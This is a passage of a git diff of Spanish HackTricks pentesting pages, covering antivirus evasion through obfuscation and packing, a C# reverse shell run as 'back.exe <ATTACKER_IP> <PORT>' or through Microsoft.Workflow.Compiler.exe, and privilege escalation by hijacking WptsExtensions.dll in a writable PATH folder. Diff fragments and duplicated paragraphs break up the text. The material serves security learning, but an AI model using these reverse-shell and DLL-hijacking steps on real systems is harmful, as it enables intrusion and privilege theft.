- **cx_Freeze**: cx_Freeze es una herramienta similar a PyInstaller que puede empaquetar nuestro código en un archivo ejecutable independiente.
- **Cifrado**: podemos cifrar nuestro archivo ejecutable para hacerlo más difícil de entender para las herramientas de análisis.
- **UPX**: UPX es una herramienta que puede comprimir nuestro archivo ejecutable para hacerlo más pequeño y más difícil de entender para las herramientas de análisis.
## Conclusión
La ofuscación y el empaquetado son técnicas efectivas para evadir la detección de AV. Al utilizar estas técnicas, podemos hacer que nuestro código sea más difícil de entender para las herramientas de análisis y, por lo tanto, evadir la detección. Sin embargo, es importante tener en cuenta que estas técnicas no son infalibles y que los AV están constantemente mejorando su capacidad para detectar malware.
La ofuscación y el empaquetado son técnicas efectivas para evadir la detección de AV. Sin embargo, es importante tener en cuenta que estas técnicas no son infalibles y que los AV están constantemente mejorando sus capacidades de detección. Por lo tanto, es importante utilizar estas técnicas junto con otras medidas de seguridad, como la firma de código y el cifrado de comunicaciones, para garantizar la seguridad de nuestro código.
```
back.exe <ATTACKER_IP> <PORT>
```
@ -502,7 +502,7 @@ namespace ConnectBack
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### C# usando el compilador
### C# usando compilador
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```

View File

@ -55,15 +55,15 @@ if ($envPath -notlike "*$folderPath*") {
* **Después** de que se **genere el archivo**, **cierre** la ventana abierta de **`procmon`** y **abra el archivo de eventos**.
* Agregue estos **filtros** y encontrará todas las Dll que algún **proceso intentó cargar** desde la carpeta de ruta del sistema escribible:
<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
### Dlls perdidas
Al ejecutar esto en una **máquina virtual (vmware) gratuita de Windows 11** obtuve estos resultados:
Al ejecutar esto en una máquina virtual (vmware) gratuita de Windows 11, obtuve estos resultados:
<figure><img src="../../../.gitbook/assets/image (253).png" alt=""><figcaption></figcaption></figure>
En este caso, los .exe son inútiles, así que ignórelos, las Dlls perdidas son de:
En este caso, los .exe son inútiles, así que ignórelos, las DLL perdidas eran de:
| Servicio | Dll | Línea de comandos |
| ------------------------------- | ------------------ | -------------------------------------------------------------------- |
@ -75,26 +75,26 @@ Después de encontrar esto, encontré esta interesante publicación de blog que
### Explotación
Entonces, para **escalar privilegios** vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre** solo necesitamos **generar la Dll maliciosa**.
Entonces, para **escalar privilegios**, vamos a secuestrar la biblioteca **WptsExtensions.dll**. Teniendo la **ruta** y el **nombre**, solo necesitamos **generar la DLL maliciosa**.
Puede [**intentar usar cualquiera de estos ejemplos**](../dll-hijacking.md#creating-and-compiling-dlls). Podría ejecutar cargas útiles como: obtener una shell inversa, agregar un usuario, ejecutar un beacon...
{% hint style="warning" %}
Tenga en cuenta que **no todos los servicios se ejecutan** con **`NT AUTHORITY\SYSTEM`** algunos también se ejecutan con **`NT AUTHORITY\LOCAL SERVICE`** que tiene **menos privilegios** y no podrá crear un nuevo usuario abusar de sus permisos.\
Sin embargo, ese usuario tiene el privilegio **`seImpersonate`**, por lo que puede usar la [**suite potato para escalar privilegios**](../roguepotato-and-printspoofer.md). Entonces, en este caso, una shell inversa es una mejor opción que intentar crear un usuario.
Sin embargo, ese usuario tiene el privilegio **`seImpersonate`**, por lo que puede usar la [**suite de patatas para escalar privilegios**](../roguepotato-and-printspoofer.md). Entonces, en este caso, una shell inversa es una mejor opción que intentar crear un usuario.
{% endhint %}
En el momento de escribir esto, el servicio **Programador de tareas** se ejecuta con **Nt AUTHORITY\SYSTEM**.
Habiendo **generado la Dll maliciosa** (_en mi caso usé una shell inversa x64 y obtuve una shell de vuelta, pero defender la mató porque era de msfvenom_), guárdela en la ruta del sistema escribible con el nombre **WptsExtensions.dll** y **reinicie** la computadora (o reinicie el servicio o haga lo que sea necesario para volver a ejecutar el servicio/programa afectado).
Habiendo **generado la DLL maliciosa** (_en mi caso usé una shell inversa x64 y obtuve una shell de vuelta, pero Defender la mató porque era de msfvenom_), guárdela en la ruta del sistema escribible con el nombre **WptsExtensions.dll** y **reinicie** la computadora (o reinicie el servicio o haga lo que sea necesario para volver a ejecutar el servicio/programa afectado).
Cuando se reinicie el servicio, la **dll debería cargarse y ejecutarse** (puede **reutilizar** el truco de **procmon** para verificar si la **biblioteca se cargó como se esperaba**).
Cuando se reinicie el servicio, la **DLL debería cargarse y ejecutarse** (puede **reutilizar** el truco de **procmon** para verificar si la **biblioteca se cargó como se esperaba**).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? o ¿quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**